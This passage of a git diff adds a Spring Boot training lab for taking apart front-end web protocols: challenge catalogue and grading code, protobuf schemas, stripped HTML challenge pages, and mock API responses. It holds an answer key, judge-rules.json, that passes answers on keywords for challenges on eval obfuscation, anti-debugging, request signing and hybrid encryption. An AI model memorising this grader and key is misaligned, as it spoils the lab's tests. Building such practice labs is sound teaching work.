rs.getString("challenge_id")); + item.put("userName", rs.getString("user_name")); + item.put("result", rs.getString("result")); + item.put("answer", rs.getString("answer")); + item.put("notes", rs.getString("notes")); + item.put("judgeType", rs.getString("judge_type")); + item.put("judgeDetail", rs.getString("judge_detail")); + item.put("createdAt", rs.getString("created_at")); + return item; + }; + + private final RowMapper> judgeRuleMapper = (rs, rowNum) -> { + Map item = new LinkedHashMap(); + item.put("challengeId", rs.getString("challenge_id")); + item.put("judgeType", rs.getString("judge_type")); + item.put("expectedAnswer", rs.getString("expected_answer")); + item.put("keywords", parseKeywords(rs.getString("keyword_json"))); + item.put("notes", rs.getString("notes")); + item.put("updatedAt", rs.getString("updated_at")); + return item; + }; + + public LabCatalogService(JdbcTemplate jdbcTemplate) { + this.jdbcTemplate = jdbcTemplate; + } + + @PostConstruct + public void initializeCatalog() { + migrateTables(); + syncChallengesFromJson(); + syncJudgeRulesFromJson(); + } + + public int syncChallengesFromJson() { + List> challenges = loadChallengesFromJson(); + String now = Instant.now().toString(); + for (Map item : challenges) { + jdbcTemplate.update( + "INSERT INTO lab_challenge (id, href, title, difficulty, topic, track_key, mode, source, summary, sort_order, enabled, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) " + + "ON CONFLICT(id) DO UPDATE SET href=excluded.href, title=excluded.title, difficulty=excluded.difficulty, " + + "topic=excluded.topic, track_key=excluded.track_key, mode=excluded.mode, source=excluded.source, " + + "summary=excluded.summary, sort_order=excluded.sort_order, enabled=excluded.enabled, updated_at=excluded.updated_at", + stringValue(item.get("id")), + stringValue(item.get("href")), + stringValue(item.get("title")), + stringValue(item.get("difficulty")), + stringValue(item.get("topic")), + stringValue(item.get("trackKey")), + stringValue(item.get("mode")), + stringValue(item.get("source")), + stringValue(item.get("summary")), + intValue(item.get("sort")), + 1, + now + ); + } + return challenges.size(); + } + + public int syncJudgeRulesFromJson() { + List> rules = loadJudgeRulesFromJson(); + String now = Instant.now().toString(); + for (Map item : rules) { + jdbcTemplate.update( + "INSERT INTO lab_judge_rule (challenge_id, judge_type, expected_answer, keyword_json, notes, updated_at) " + + "VALUES (?, ?, ?, ?, ?, ?) " + + "ON CONFLICT(challenge_id) DO UPDATE SET judge_type=excluded.judge_type, expected_answer=excluded.expected_answer, " + + "keyword_json=excluded.keyword_json, notes=excluded.notes, updated_at=excluded.updated_at", + stringValue(item.get("challengeId")), + stringValue(item.get("judgeType")), + emptyToNull(stringValue(item.get("expectedAnswer"))), + keywordsToJson(item.get("keywords")), + emptyToNull(stringValue(item.get("notes"))), + now + ); + } + return rules.size(); + } + + public List> listChallenges(String trackKey, String difficulty, String mode) { + StringBuilder sql = new StringBuilder( + "SELECT id, href, title, difficulty, topic, track_key, mode, source, summary, sort_order, enabled, updated_at " + + "FROM lab_challenge WHERE enabled = 1" + ); + List args = new ArrayList(); + if (hasText(trackKey)) { + sql.append(" AND track_key = ?"); + args.add(trackKey); + } + if (hasText(difficulty)) { + sql.append(" AND difficulty = ?"); + args.add(difficulty); + } + if (hasText(mode)) { + sql.append(" AND mode = ?"); + args.add(mode); + } + sql.append(" ORDER BY sort_order ASC"); + return jdbcTemplate.query(sql.toString(), challengeMapper, args.toArray()); + } + + public Map getOverview() { + List> items = listChallenges(null, null, null); + Map trackCounts = items.stream() + .collect(Collectors.groupingBy(item -> stringValue(item.get("trackKey")), LinkedHashMap::new, Collectors.counting())); + + Integer submissionCount = jdbcTemplate.queryForObject("SELECT COUNT(*) FROM lab_submission", Integer.class); + Integer ruleCount = jdbcTemplate.queryForObject("SELECT COUNT(*) FROM lab_judge_rule", Integer.class); + Integer autoJudgeCount = jdbcTemplate.queryForObject( + "SELECT COUNT(*) FROM lab_judge_rule WHERE judge_type <> 'manual-review'", + Integer.class + ); + + Map overview = new LinkedHashMap(); + overview.put("totalChallenges", items.size()); + overview.put("apiBackedChallenges", items.stream().filter(item -> "api-backed".equals(item.get("mode"))).count()); + overview.put("advancedChallenges", items.stream().filter(item -> "advanced".equals(item.get("difficulty"))).count()); + overview.put("trackCounts", trackCounts); + overview.put("submissionCount", submissionCount == null ? 0 : submissionCount); + overview.put("judgeRuleCount", ruleCount == null ? 0 : ruleCount); + overview.put("autoJudgeRuleCount", autoJudgeCount == null ? 0 : autoJudgeCount); + return overview; + } + + public Map getChallenge(String challengeId) { + List> items = jdbcTemplate.query( + "SELECT id, href, title, difficulty, topic, track_key, mode, source, summary, sort_order, enabled, updated_at " + + "FROM lab_challenge WHERE id = ?", + challengeMapper, + challengeId + ); + return items.isEmpty() ? Collections.emptyMap() : items.get(0); + } + + public List> listJudgeRules() { + return jdbcTemplate.query( + "SELECT challenge_id, judge_type, expected_answer, keyword_json, notes, updated_at " + + "FROM lab_judge_rule ORDER BY challenge_id ASC", + judgeRuleMapper + ); + } + + public Map saveSubmission(Map body) { + String challengeId = stringValue(body.get("challengeId")); + ensureChallengeExists(challengeId); + return insertSubmission( + challengeId, + stringValue(body.get("userName")), + hasText(stringValue(body.get("result"))) ? stringValue(body.get("result")) : "pending", + stringValue(body.get("answer")), + stringValue(body.get("notes")), + stringValue(body.get("judgeType")), + stringValue(body.get("judgeDetail")) + ); + } + + public Map judgeSubmission(Map body) { + String challengeId = stringValue(body.get("challengeId")); + String answer = stringValue(body.get("answer")); + ensureChallengeExists(challengeId); + if (!hasText(answer)) { + throw new IllegalArgumentException("answer is required"); + } + + Map rule = getJudgeRule(challengeId); + String judgeType = rule.isEmpty() ? "manual-review" : stringValue(rule.get("judgeType")); + String result = "manual_review"; + String judgeDetail = "No automatic judge rule configured."; + + if ("exact".equals(judgeType)) { + String expected = normalize(stringValue(rule.get("expectedAnswer"))); + if (normalize(answer).equals(expected)) { + result = "passed"; + judgeDetail = "Matched exact expected answer."; + } else { + result = "failed"; + judgeDetail = "Answer did not match the exact expected value."; + } + } else if ("contains_all".equals(judgeType)) { + List keywords = safeKeywordList(rule.get("keywords")); + List missing = keywords.stream() + .filter(keyword -> !normalize(answer).contains(normalize(keyword))) + .collect(Collectors.toList()); + if (missing.isEmpty()) { + result = "passed"; + judgeDetail = "Answer contains all required keywords."; + } else { + result = "failed"; + judgeDetail = "Missing keywords: " + String.join(", ", missing); + } + } else if ("non_empty".equals(judgeType)) { + if (normalize(answer).length() >= 6) { + result = "passed"; + judgeDetail = "Answer is non-empty and reached minimal length."; + } else { + result = "failed"; + judgeDetail = "Answer is too short."; + } + } + + Map stored = insertSubmission( + challengeId, + stringValue(body.get("userName")), + result, + answer, + stringValue(body.get("notes")), + judgeType, + judgeDetail + ); + stored.put("judgeType", judgeType); + stored.put("judgeDetail", judgeDetail); + return stored; + } + + public List> listSubmissions(String challengeId) { + if (hasText(challengeId)) { + return jdbcTemplate.query( + "SELECT submission_id, challenge_id, user_name, result, answer, notes, judge_type, judge_detail, created_at " + + "FROM lab_submission WHERE challenge_id = ? ORDER BY submission_id DESC", + submissionMapper, + challengeId + ); + } + return jdbcTemplate.query( + "SELECT submission_id, challenge_id, user_name, result, answer, notes, judge_type, judge_detail, created_at " + + "FROM lab_submission ORDER BY submission_id DESC LIMIT 100", + submissionMapper + ); + } + + private void migrateTables() { + addColumnIfMissing("lab_submission", "judge_type", "TEXT"); + addColumnIfMissing("lab_submission", "judge_detail", "TEXT"); + } + + private void addColumnIfMissing(String table, String column, String type) { + try { + jdbcTemplate.execute("ALTER TABLE " + table + " ADD COLUMN " + column + " " + type); + } catch (Exception ignored) { + } + } + + private Map insertSubmission( + String challengeId, + String userName, + String result, + String answer, + String notes, + String judgeType, + String judgeDetail + ) { + String createdAt = Instant.now().toString(); + jdbcTemplate.update( + "INSERT INTO lab_submission (challenge_id, user_name, result, answer, notes, judge_type, judge_detail, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?)", + challengeId, + emptyToNull(userName), + result, + emptyToNull(answer), + emptyToNull(notes), + emptyToNull(judgeType), + emptyToNull(judgeDetail), + createdAt + ); + Long submissionId = jdbcTemplate.queryForObject("SELECT last_insert_rowid()", Long.class); + + Map response = new LinkedHashMap(); + response.put("submissionId", submissionId); + response.put("challengeId", challengeId); + response.put("result", result); + response.put("createdAt", createdAt); + return response; + } + + private Map getJudgeRule(String challengeId) { + List> rules = jdbcTemplate.query( + "SELECT challenge_id, judge_type, expected_answer, keyword_json, notes, updated_at FROM lab_judge_rule WHERE challenge_id = ?", + judgeRuleMapper, + challengeId + ); + return rules.isEmpty() ? Collections.emptyMap() : rules.get(0); + } + + private void ensureChallengeExists(String challengeId) { + if (!hasText(challengeId)) { + throw new IllegalArgumentException("challengeId is required"); + } + Integer challengeCount = jdbcTemplate.queryForObject( + "SELECT COUNT(*) FROM lab_challenge WHERE id = ?", + Integer.class, + challengeId + ); + if (challengeCount == null || challengeCount == 0) { + throw new IllegalArgumentException("challengeId not found"); + } + } + + private List> loadChallengesFromJson() { + return readJsonList("static/labs/challenges.json"); + } + + private List> loadJudgeRulesFromJson() { + return readJsonList("judge-rules.json"); + } + + private List> readJsonList(String classpathLocation) { + ClassPathResource resource = new ClassPathResource(classpathLocation); + try (InputStream inputStream = resource.getInputStream()) { + return MAPPER.readValue(inputStream, new TypeReference>>() {}); + } catch (IOException ex) { + throw new IllegalStateException("Failed to load " + classpathLocation, ex); + } + } + + private List parseKeywords(String keywordJson) { + if (!hasText(keywordJson)) { + return Collections.emptyList(); + } + try { + return MAPPER.readValue(keywordJson, new TypeReference>() {}); + } catch (IOException ex) { + return Collections.emptyList(); + } + } + + private String keywordsToJson(Object value) { + try { + if (value instanceof List) { + return MAPPER.writeValueAsString(value); + } + return MAPPER.writeValueAsString(Collections.emptyList()); + } catch (IOException ex) { + return "[]"; + } + } + + private static List safeKeywordList(Object value) { + if (value instanceof List) { + List raw = (List) value; + List result = new ArrayList(); + for (Object item : raw) { + result.add(String.valueOf(item)); + } + return result; + } + return Collections.emptyList(); + } + + private static String stringValue(Object value) { + return value == null ? "" : String.valueOf(value); + } + + private static int intValue(Object value) { + if (value == null) { + return 0; + } + if (value instanceof Number) { + return ((Number) value).intValue(); + } + return Integer.parseInt(String.valueOf(value)); + } + + private static boolean hasText(String value) { + return value != null && !value.trim().isEmpty(); + } + + private static String emptyToNull(String value) { + return hasText(value) ? value : null; + } + + private static String normalize(String value) { + return stringValue(value).trim().toLowerCase(); + } +} diff --git a/JS-hook/src/main/java/com/myapp/jshook/MyApplication.java b/JS-hook/src/main/java/com/myapp/jshook/MyApplication.java new file mode 100644 index 0000000..95d1133 --- /dev/null +++ b/JS-hook/src/main/java/com/myapp/jshook/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp.jshook; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/JS-hook/src/main/proto/api.proto b/JS-hook/src/main/proto/api.proto new file mode 100644 index 0000000..0f28cf4 --- /dev/null +++ b/JS-hook/src/main/proto/api.proto @@ -0,0 +1,68 @@ +syntax = "proto3"; + +package api; + +option java_package = "com.myapp.jshook.proto.api"; +option java_multiple_files = true; + +message UserInfo { + string name = 1; + string email = 2; + int32 age = 3; + string phone = 4; + string address = 5; + string company = 6; + string position = 7; + int64 salary = 8; + repeated string skills = 9; + map metadata = 10; +} + +message ProductInfo { + string name = 1; + string description = 2; + double price = 3; + string category = 4; + string brand = 5; + int32 stock = 6; + repeated string tags = 7; + map attributes = 8; +} + +message OrderInfo { + string order_id = 1; + string customer_name = 2; + string customer_email = 3; + repeated ProductInfo products = 4; + double total_amount = 5; + string status = 6; + int64 created_at = 7; + string shipping_address = 8; + string payment_method = 9; +} + +message ApiRequest { + string request_id = 1; + int64 timestamp = 2; + string operation = 3; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } +} + +message ApiResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string message = 4; + int32 code = 5; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } +} diff --git a/JS-hook/src/main/proto/data_response.proto b/JS-hook/src/main/proto/data_response.proto new file mode 100644 index 0000000..84ee634 --- /dev/null +++ b/JS-hook/src/main/proto/data_response.proto @@ -0,0 +1,40 @@ +syntax = "proto3"; + +package api; + +option java_package = "com.myapp.jshook.proto.report"; +option java_multiple_files = true; + +message DataPoint { + string label = 1; + double value = 2; + string unit = 3; + int64 timestamp = 4; +} + +message ChartData { + string chart_type = 1; + string title = 2; + repeated DataPoint data_points = 3; + map metadata = 4; +} + +message ReportData { + string report_id = 1; + string title = 2; + string description = 3; + repeated ChartData charts = 4; + map summary_metrics = 5; + int64 generated_at = 6; +} + +message DataResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string message = 4; + int32 code = 5; + string category = 6; + string option = 7; + ReportData report_data = 8; +} diff --git a/JS-hook/src/main/proto/microservice.proto b/JS-hook/src/main/proto/microservice.proto new file mode 100644 index 0000000..ffa5e08 --- /dev/null +++ b/JS-hook/src/main/proto/microservice.proto @@ -0,0 +1,110 @@ +syntax = "proto3"; + +package microservice; + +option java_package = "com.myapp.jshook.proto.microservice"; +option java_multiple_files = true; + +message UserRequest { + string action = 1; + string user_id = 2; + string name = 3; + string email = 4; + string role = 5; + string status = 6; +} + +message UserResponse { + bool success = 1; + string message = 2; + string user_id = 3; + string name = 4; + string email = 5; + string role = 6; + string status = 7; + int64 created_at = 8; + int64 updated_at = 9; +} + +message OrderRequest { + string action = 1; + string order_id = 2; + string customer_id = 3; + double amount = 4; + string payment_method = 5; + string status = 6; +} + +message OrderResponse { + bool success = 1; + string message = 2; + string order_id = 3; + string customer_id = 4; + double amount = 5; + string payment_method = 6; + string status = 7; + int64 created_at = 8; + string tracking_number = 9; +} + +message AnalyticsRequest { + string analytics_type = 1; + string time_range = 2; + string data_source = 3; + string output_format = 4; +} + +message AnalyticsResponse { + bool success = 1; + string message = 2; + string report_id = 3; + string analytics_type = 4; + map metrics = 5; + string download_url = 6; + int64 generated_at = 7; +} + +message NotificationRequest { + string notification_type = 1; + string priority = 2; + string recipient = 3; + string template = 4; + string content = 5; +} + +message NotificationResponse { + bool success = 1; + string message = 2; + string notification_id = 3; + string status = 4; + int64 sent_at = 5; + string delivery_status = 6; +} + +message ServiceRequest { + string request_id = 1; + int64 timestamp = 2; + string service_name = 3; + + oneof request_data { + UserRequest user_request = 10; + OrderRequest order_request = 11; + AnalyticsRequest analytics_request = 12; + NotificationRequest notification_request = 13; + } +} + +message ServiceResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string service_name = 4; + int32 status_code = 5; + + oneof response_data { + UserResponse user_response = 10; + OrderResponse order_response = 11; + AnalyticsResponse analytics_response = 12; + NotificationResponse notification_response = 13; + } +} diff --git a/JS-hook/src/main/resources/application.properties b/JS-hook/src/main/resources/application.properties new file mode 100644 index 0000000..477e6e7 --- /dev/null +++ b/JS-hook/src/main/resources/application.properties @@ -0,0 +1,13 @@ +server.port=8080 +spring.mvc.pathmatch.matching-strategy=ant_path_matcher +server.servlet.encoding.enabled=true +server.servlet.encoding.charset=UTF-8 +server.servlet.encoding.force=true +server.servlet.encoding.force-request=true +server.servlet.encoding.force-response=true +spring.messages.encoding=UTF-8 +spring.datasource.url=jdbc:sqlite:./js-hook.db +spring.datasource.driver-class-name=org.sqlite.JDBC +spring.sql.init.mode=always +spring.sql.init.encoding=UTF-8 +spring.datasource.hikari.maximum-pool-size=1 diff --git a/JS-hook/src/main/resources/judge-rules.json b/JS-hook/src/main/resources/judge-rules.json new file mode 100644 index 0000000..c3a5adc --- /dev/null +++ b/JS-hook/src/main/resources/judge-rules.json @@ -0,0 +1,74 @@ +[ + { + "challengeId": "dynamic-eval", + "judgeType": "contains_all", + "keywords": ["eval", "payload"], + "notes": "Answer should mention the recovered payload and eval entry." + }, + { + "challengeId": "string-array", + "judgeType": "contains_all", + "keywords": ["string", "array"], + "notes": "Answer should describe restored string array behavior." + }, + { + "challengeId": "anti-debug-plus", + "judgeType": "contains_all", + "keywords": ["timing", "devtools"], + "notes": "Answer should mention timing checks and DevTools detection." + }, + { + "challengeId": "dynamic-sign-live", + "judgeType": "contains_all", + "keywords": ["nonce", "timestamp"], + "notes": "Answer should include runtime sign inputs like nonce and timestamp." + }, + { + "challengeId": "aes-gcm-json", + "judgeType": "contains_all", + "keywords": ["iv", "aad"], + "notes": "Answer should identify iv and aad in the envelope." + }, + { + "challengeId": "aes-rsa-hybrid-plus", + "judgeType": "contains_all", + "keywords": ["session", "key"], + "notes": "Answer should reference the wrapped session key." + }, + { + "challengeId": "sm2-sm4-hybrid", + "judgeType": "contains_all", + "keywords": ["sm2", "sm4"], + "notes": "Answer should mention both SM2 and SM4 in the hybrid flow." + }, + { + "challengeId": "query-string-param-sign", + "judgeType": "contains_all", + "keywords": ["sign", "query"], + "notes": "Answer should identify the query sign generation." + }, + { + "challengeId": "header-sign", + "judgeType": "contains_all", + "keywords": ["timestamp", "nonce"], + "notes": "Answer should mention header timestamp and nonce generation." + }, + { + "challengeId": "bidirectional-hex-encrypt", + "judgeType": "contains_all", + "keywords": ["hex", "request", "response"], + "notes": "Answer should describe both request and response hex flows." + }, + { + "challengeId": "bidirectional-protobuf", + "judgeType": "contains_all", + "keywords": ["protobuf", "request", "response"], + "notes": "Answer should mention protobuf handling on both directions." + }, + { + "challengeId": "video-segment-encryption", + "judgeType": "contains_all", + "keywords": ["segment", "key"], + "notes": "Answer should describe segment indexing and segment keys." + } +] diff --git a/JS-hook/src/main/resources/schema.sql b/JS-hook/src/main/resources/schema.sql new file mode 100644 index 0000000..82b054b --- /dev/null +++ b/JS-hook/src/main/resources/schema.sql @@ -0,0 +1,46 @@ +CREATE TABLE IF NOT EXISTS lab_challenge ( + id TEXT PRIMARY KEY, + href TEXT NOT NULL, + title TEXT NOT NULL, + difficulty TEXT NOT NULL, + topic TEXT NOT NULL, + track_key TEXT NOT NULL, + mode TEXT NOT NULL, + source TEXT NOT NULL, + summary TEXT NOT NULL, + sort_order INTEGER NOT NULL, + enabled INTEGER NOT NULL DEFAULT 1, + updated_at TEXT NOT NULL +); + +CREATE TABLE IF NOT EXISTS lab_submission ( + submission_id INTEGER PRIMARY KEY AUTOINCREMENT, + challenge_id TEXT NOT NULL, + user_name TEXT, + result TEXT NOT NULL, + answer TEXT, + notes TEXT, + judge_type TEXT, + judge_detail TEXT, + created_at TEXT NOT NULL, + FOREIGN KEY (challenge_id) REFERENCES lab_challenge(id) +); + +CREATE TABLE IF NOT EXISTS lab_judge_rule ( + challenge_id TEXT PRIMARY KEY, + judge_type TEXT NOT NULL, + expected_answer TEXT, + keyword_json TEXT, + notes TEXT, + updated_at TEXT NOT NULL, + FOREIGN KEY (challenge_id) REFERENCES lab_challenge(id) +); + +CREATE INDEX IF NOT EXISTS idx_lab_challenge_track_key + ON lab_challenge(track_key); + +CREATE INDEX IF NOT EXISTS idx_lab_submission_challenge_id + ON lab_submission(challenge_id); + +CREATE INDEX IF NOT EXISTS idx_lab_judge_rule_judge_type + ON lab_judge_rule(judge_type); diff --git a/JS-hook/src/main/resources/static/admin.html b/JS-hook/src/main/resources/static/admin.html new file mode 100644 index 0000000..e877cb3 --- /dev/null +++ b/JS-hook/src/main/resources/static/admin.html @@ -0,0 +1,382 @@ + + + + + + 训练场后台 - 前端协议拆解训练场 + + + +
+ + +
+
+

现在已经有轻量后台能力了

+

+ 这一版后台基于 Spring Boot + SQLite,支持题库概览、规则同步、最近提交展示, + 以及一个最小可用的自动判题入口。后续如果你要继续做管理员管理、题目编辑和人工复核,也可以沿着这里往下接。 +

+
正在加载后台数据…
+
+
+
--题目总数
+
--提交记录
+
--判题规则
+
--自动判题规则
+
+
+ +
+
+
+

题库与规则

+

左侧看题库清单与规则覆盖情况,右侧直接调用判题接口测试。

+
+
+
+
+ + + + + + + + + + + + +
题目分区模式规则
加载中…
+
+
+
+ + + + +
+ +
+
+
还没有执行判题。
+
+
+
+ +
+
+
+

最近提交

+

展示最近 100 条提交记录,包括自动判题结果或人工复核状态。

+
+
+
+ + + + + + + + + + + + + + +
ID题目结果判题方式说明时间
加载中…
+
+
+
+ + + + diff --git a/JS-hook/src/main/resources/static/bidirectional-hex-encrypt.html b/JS-hook/src/main/resources/static/bidirectional-hex-encrypt.html new file mode 100644 index 0000000..2c19479 --- /dev/null +++ b/JS-hook/src/main/resources/static/bidirectional-hex-encrypt.html @@ -0,0 +1,828 @@ + + + + + + Bidirectional Hex Encryption + + + + + +
+
+

超级安全通信系统

+

Bidirectional Hex Encryption Case - 双向十六进制加密通信

+
+ +
+

🔐 选择安全操作

+ +
+
+ 💰 +

资金转账

+

执行高安全级别的资金转账操作,包含完整的加密验证流程

+
+
+ 📋 +

合同签署

+

提交重要合同文件,使用双向加密确保文档安全性

+
+
+ 🔍 +

安全审计

+

执行系统安全审计,获取加密的审计报告和建议

+
+
+ 💾 +

数据备份

+

创建重要数据的安全备份,确保数据完整性和机密性

+
+
+ + +
+

💰 资金转账操作

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

📋 合同签署操作

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

🔍 安全审计操作

+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+

💾 数据备份操作

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/src/main/resources/static/bidirectional-protobuf.html b/JS-hook/src/main/resources/static/bidirectional-protobuf.html new file mode 100644 index 0000000..3a3d0ba --- /dev/null +++ b/JS-hook/src/main/resources/static/bidirectional-protobuf.html @@ -0,0 +1,1145 @@ + + + + + + Bidirectional Protocol Buffers + + + + + +
+
+

企业级微服务平台

+

Bidirectional Protocol Buffers Case - 双向高效二进制通信

+
+ +
+

🚀 选择微服务

+ +
+
+ 👥 +

用户管理服务

+

处理用户注册、登录、权限管理等核心用户功能

+
+
+ 📦 +

订单处理服务

+

处理订单创建、支付、物流跟踪等电商核心业务

+
+
+ 📊 +

数据分析服务

+

提供实时数据分析、报表生成、业务洞察等功能

+
+
+ 🔔 +

通知服务

+

处理邮件、短信、推送等多渠道消息通知

+
+
+ + +
+

👥 用户管理服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

📦 订单处理服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

📊 数据分析服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🔔 通知服务

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-data-analytics b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-data-analytics new file mode 100644 index 0000000..17ab584 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-data-analytics @@ -0,0 +1,25 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "ghi789analytics", + "timestamp": 1738252800, + "success": true, + "service_name": "data-analytics", + "status_code": 200, + "analytics_response": { + "success": true, + "message": "sales分析完成", + "report_id": "RPTEF789GH012", + "analytics_type": "sales", + "metrics": { + "总数据量": 85000, + "处理时间": 45, + "准确率": 92, + "覆盖率": 88 + }, + "download_url": "https://reports.example.com/download/abc123def456", + "generated_at": 1738252800 + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-notification b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-notification new file mode 100644 index 0000000..5a6ae8c --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-notification @@ -0,0 +1,19 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "jkl012notification", + "timestamp": 1738252800, + "success": true, + "service_name": "notification", + "status_code": 200, + "notification_response": { + "success": true, + "message": "push通知发送成功", + "notification_id": "NOTIJ345KL678", + "status": "sent", + "sent_at": 1738252800, + "delivery_status": "delivered" + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-order-processing b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-order-processing new file mode 100644 index 0000000..24f32ee --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-order-processing @@ -0,0 +1,22 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "def456order", + "timestamp": 1738252800, + "success": true, + "service_name": "order-processing", + "status_code": 200, + "order_response": { + "success": true, + "message": "订单create操作成功", + "order_id": "ORD789012", + "customer_id": "CUST456789", + "amount": 1299.99, + "payment_method": "alipay", + "status": "processing", + "created_at": 1738252800, + "tracking_number": "TRKAB123CD456" + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-user-management b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-user-management new file mode 100644 index 0000000..b59387d --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/bidirectional-protobuf-user-management @@ -0,0 +1,22 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟双向 Protocol Buffers 响应", + "data": { + "request_id": "abc123user", + "timestamp": 1738252800, + "success": true, + "service_name": "user-management", + "status_code": 200, + "user_response": { + "success": true, + "message": "用户create操作成功", + "user_id": "USR123456", + "name": "张三", + "email": "zhangsan@company.com", + "role": "user", + "status": "active", + "created_at": 1738252800, + "updated_at": 1738252800 + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-admin b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-admin new file mode 100644 index 0000000..2bbd7fa --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-admin @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQJKL012ADMIN", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "admin", + "client_id": "CLIENT_JKL012MNO345", + "admin_result": { + "status": "authorized", + "action": "system_config", + "admin_level": "super", + "admin_id": "ADMIN001", + "operation_id": "OPSYS345678901234", + "audit_log": "管理员ADMIN001执行system_config操作", + "session_id": "SES123456789ABC" + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-payment b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-payment new file mode 100644 index 0000000..8c4adc2 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-payment @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQABC123PAYMENT", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "payment", + "client_id": "CLIENT_ABC123DEF456", + "payment_result": { + "status": "success", + "transaction_id": "TXNPAY789012345", + "amount": 1299.99, + "payment_method": "alipay", + "fee": "7.80", + "order_id": "PAY202501270001", + "merchant_id": "MCH123456789" + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-sensitive b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-sensitive new file mode 100644 index 0000000..88e2965 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-sensitive @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQGHI789SENSITIVE", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "sensitive", + "client_id": "CLIENT_GHI789JKL012", + "access_result": { + "status": "granted", + "data_type": "financial", + "access_level": "write", + "user_id": "USER789012345", + "department": "finance", + "access_token": "ATFINANCE123456789ABCDEF", + "expires_in": 3600 + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-transfer b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-transfer new file mode 100644 index 0000000..91a4357 --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/header-sign-transfer @@ -0,0 +1,20 @@ +{ + "success": true, + "message": "GitHub Pages 环境下的模拟请求头签名验证响应", + "data": { + "request_id": "REQDEF456TRANSFER", + "timestamp": 1738252800, + "signature_valid": true, + "api_type": "transfer", + "client_id": "CLIENT_DEF456GHI789", + "transfer_result": { + "status": "processing", + "transfer_id": "TRFBANK567890123", + "amount": 5000.00, + "currency": "CNY", + "from_account": "6222021234567890123", + "to_account": "6222029876543210987", + "estimated_arrival": "2-24小时内到账" + } + } +} diff --git a/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-analytics-service b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-analytics-service new file mode 100644 index 0000000..efd283e --- /dev/null +++ b/JS-hook/src/main/resources/static/fake-api-server/api/interceptor-analytics-service @@ -0,0 +1,20 @@ +{ + "request_id": "REQMNO345ANALYTICS", + "timestamp": 1738252800, + "signature_valid": true, + "service_name": "analytics-service", + "interceptor_id": "INTANA345", + "client_id": "CLIENT_MNO345PQR678", + "service_result": { + "status": "success", + "reports_generated": 78, + "data_points": 567890, + "processing_time": "3.45", + "analytics_data": { + "conversion_rate": "8.76", + "bounce_rate": "34.56", + "avg_session_duration": "245", + "top_pages": "产品页" + } + } +} diff --git 